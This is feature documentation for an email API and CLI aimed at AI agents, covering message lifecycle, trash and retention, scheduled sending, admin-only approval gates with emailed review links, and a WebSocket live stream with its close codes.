  • Lifecycle ledger – GET /v1/agents/{email}/messages/{id}/lifecycle returns the existing derived events plus entries: an append-only record written at each state change, each with a fixed code, a time at and a detail. Codes: created, scheduled, canceled, queued, review_requested, review_approved, review_rejected, sending, accepted_by_relay, delivered, delivery_unknown, blocked, failed, provider_delivered, provider_delayed, provider_bounced, provider_complained, provider_rejected, trashed, restored. Messages that predate the ledger get entries derived from their current state, with no timestamp for the final status. Entries are deleted with the message on permanent delete. The same data is available from the get_message_lifecycle MCP tool.
  • Trash / restore – DELETE moves a message to trash (cancelling an unsubmitted scheduled send); POST .../restore brings it back (409 not_in_trash if it isn't in trash, and a send canceled by trashing is re-armed if its send_at has not passed); ?trashed=true lists trash. Trashed messages stay readable by direct GET.
  • Permanent delete & retention – DELETE .../messages/{id}?permanent=true&confirm=DELETE deletes a message and its attachments, queue job and review record for good (refused with 409 while a review is pending or a send is queued or in progress). Trash is purged automatically after TRASH_RETENTION_DAYS (default 30, 0 disables). Each purge leaves a content-free audit row.
  • Scheduled send – add scheduled_at (offset-qualified ISO-8601 datetime, up to 90 days ahead) to send/reply, REST or MCP. send_at remains accepted as a deprecated compatibility alias. Responses include canonical scheduled_at and legacy scheduled_for timestamps. Status is scheduled until submitted.
  • Conversations – GET /v1/agents/{email}/conversations[/{id}] groups messages by thread with unread counts, participants and labels.
  • Lifecycle – GET .../messages/{id}/lifecycle returns the review, queue, retry and provider-delivery timeline.
  • Metrics & protection – GET /v1/agents/{email}/metrics; GET/PUT /v1/agents/{email}/protection (changing it is admin-only so an agent key cannot weaken its own approval gate).
  • Account metrics – GET /v1/metrics supports an optional half-open time window, daily buckets, and per-agent grouping. Account metrics require an account/admin key; lifecycle facts are state-derived where this server does not retain a transition ledger.
  • Inbox test send – POST /v1/agents/{email}/test queues a platform-originated test email to the inbox and returns its message ID; it supports Idempotency-Key and follows the inbox review gate.
  • Events – GET /v1/events, GET /v1/events/{id}, POST /v1/events/{id}/redeliver (admin) expose the webhook event log. Event listing accepts inclusive since and until RFC-3339 timestamps with timezone offsets; both filters are bound to the pagination cursor.
  • Discovery – GET /v1/info (public) and GET /v1/whoami.
  • MCP – the same capabilities are available as MCP tools (list_conversations, update_message_labels, delete_message, get_message_lifecycle, whoami, …); GET /mcp/tools lists them all.

Operations (migrations, backup/restore, key rotation): see docs/operations.md.

🗂️ Account administration, starter templates and inbox lifecycle

  • Soft delete – DELETE /v1/agents/{email} hides the inbox and stops it receiving mail (the SMTP receiver rejects its address) but keeps all data. POST /v1/agents/{email}/restore brings it back; GET /v1/agents?include_deleted=true lists hidden inboxes; DELETE ...?purge=true permanently deletes it. API keys of a soft-deleted inbox are rejected until it is restored.
  • Account suppressions (admin) – GET /v1/account/suppressions[?address=] aggregates every inbox's blocked recipients; DELETE /v1/account/suppressions/{address} removes that address from all inboxes.
  • Cross-inbox contacts (admin) – GET/POST /v1/contacts, GET/PATCH/DELETE /v1/contacts/{address}. These are views over the existing per-inbox contact rows, not a separate table. An address can exist in several inboxes: reads return every match, and PATCH/DELETE need ?agent_email= when the address is ambiguous.
  • Export (admin) – GET /v1/account/export?limit_per_collection= returns agents, contacts, templates, suppressions and webhook endpoints. It never includes message bodies, attachments, API keys or hashes, SMTP credentials or webhook secrets, and it reports truncated / truncated_collections when a collection hit the cap.
  • Template validation – POST /v1/templates/validate checks placeholder syntax and renders with sample data without saving anything.
  • Starter templates – GET /v1/starter-templates and /{alias} provide eight ready-made templates (verification code, password reset, welcome, receipt, support acknowledgement, meeting follow-up, outreach introduction, weekly digest). POST /v1/agents/{email}/templates/from-starter/{alias} copies one into an inbox as an independent, editable template. The outreach template is for recipients who have agreed to hear from you.

✉️ Email approval links and review expiry

When an inbox holds outbound mail for approval, the operator can be emailed two links instead of having to open the dashboard.

  • Configure (admin only): PUT /v1/agents/{email}/protection accepts optional review_notify_email, review_expiry_hours (1–720) and review_expiry_action (approve | reject). Only fields present in the request change; an explicit null clears one. GET /v1/agents/{email}/protection/review reads them back (admin only, so agent keys never see the reviewer's address).
  • Links: each held outbound message sends approve and reject links to PUBLIC_BASE_URL/review-link/{token}. Tokens are random, stored only as SHA-256 hashes, valid for at most 72 hours (and never longer than the inbox's expiry window), and single-use.
  • Safe to prefetch: opening a link (GET) only shows the sender, recipient, subject and an escaped body preview; nothing changes until the reviewer presses the confirmation button (POST). Link scanners therefore cannot approve or reject mail.
  • Exactly once: the token claim and the decision commit together through the same compare-and-set used by the dashboard, so double clicks, the sibling link, or a concurrent dashboard decision resolve the review once and enqueue at most one send. The decision is recorded as magic_link:<email>.
  • Requirements: a public https PUBLIC_BASE_URL and an enabled upstream SMTP relay. If either is missing the notification is skipped and logged; the review stays pending in the dashboard and API as usual.
  • Expiry: with review_expiry_hours set, a background sweeper resolves pending reviews older than that window as system:expiry, emitting the normal review webhooks. The default action is reject; messages are auto-approved only if you set review_expiry_action to approve explicitly.

⌨️ oae command-line client

The Python SDK package ships a dependency-free CLI (pip install ./sdks/python, or pip install './sdks/python[listen]' for oae listen).

oae login --base-url http://127.0.0.1:8000 --api-key "$KEY"   # verifies, then saves ~/.config/oae/config.json (0600)
oae whoami
oae messages list --agent support@agents.local --label needs-human
oae messages send --agent support@agents.local --to person@example.com --subject Hi --body "Hello" --send-at 2026-12-01T09:00:00Z
oae messages reply --agent support@agents.local MSG_ID --template tpl_1 --data-json '{"name":"Ada"}'
oae otp --agent support@agents.local --wait 10
oae reviews list --status pending && oae reviews approve REV_ID
oae listen --agent support@agents.local --forward-to http://localhost:3000/hook   # or --command './handle.sh'

Settings come from --base-url/--api-key, then OAE_BASE_URL/OAE_API_KEY, then the config file. Every command accepts --json. Exit codes: 0 success, 1 API or connection error, 2 usage or configuration error. The key is never printed. oae listen reconnects with backoff, fetches each new message, and POSTs it as JSON to a local handler (HTTP only on localhost, no redirects) or pipes it to a command on stdin (no shell); it exits non-zero if the server rejects the credential. Run oae --help for all commands.

Live stream with WebSockets

Connect an autonomous agent to stream incoming emails over WebSockets without opening firewall ports or using ngrok:

import asyncio
import websockets
import json

AGENT_EMAIL = "assistant@agents.local"
API_KEY = "paste_the_key_for_this_inbox"
WS_URL = f"ws://127.0.0.1:8000/v1/agents/{AGENT_EMAIL}/ws"

async def listen():
    async with websockets.connect(WS_URL, additional_headers={"Authorization": f"Bearer {API_KEY}"}) as ws:
        print(f"Connected to live stream for {AGENT_EMAIL}")
        while True:
            msg = await ws.recv()
            event = json.loads(msg)
            if event.get("event") == "email.received":
                data = event["data"]
                print(f"New email from: {data['sender']} - Subject: {data['subject']}")

asyncio.run(listen())

Connection close codes

Each inbox has at most one live socket; a newer connection replaces the older one. The live stream is a push channel on top of the durable inbox and webhooks, so use webhooks if several consumers need the same mail.

Code Reason Meaning What a client should do
1000 none Normal close. Stop.
1001 shutting_down The server is restarting. Reconnect with backoff.
1006 none (set locally) Network drop. Reconnect with backoff.
1008 message The connection was rejected by policy. Do not reconnect.
1011 internal_error Server error while serving the socket. Reconnect with backoff.
4000 replaced A newer connection for this inbox took over. Do not reconnect; it would loop with the new one.
4001-4999 varies Reserved for terminal conditions. Treat any unknown code in this range as terminal.

A missing or invalid key, or a key for a different inbox, is refused before the upgrade. The bundled listen clients (TypeScript SDK and oae listen) follow this table. The server does not send its own ping timeout; clients keep the connection alive by sending ping.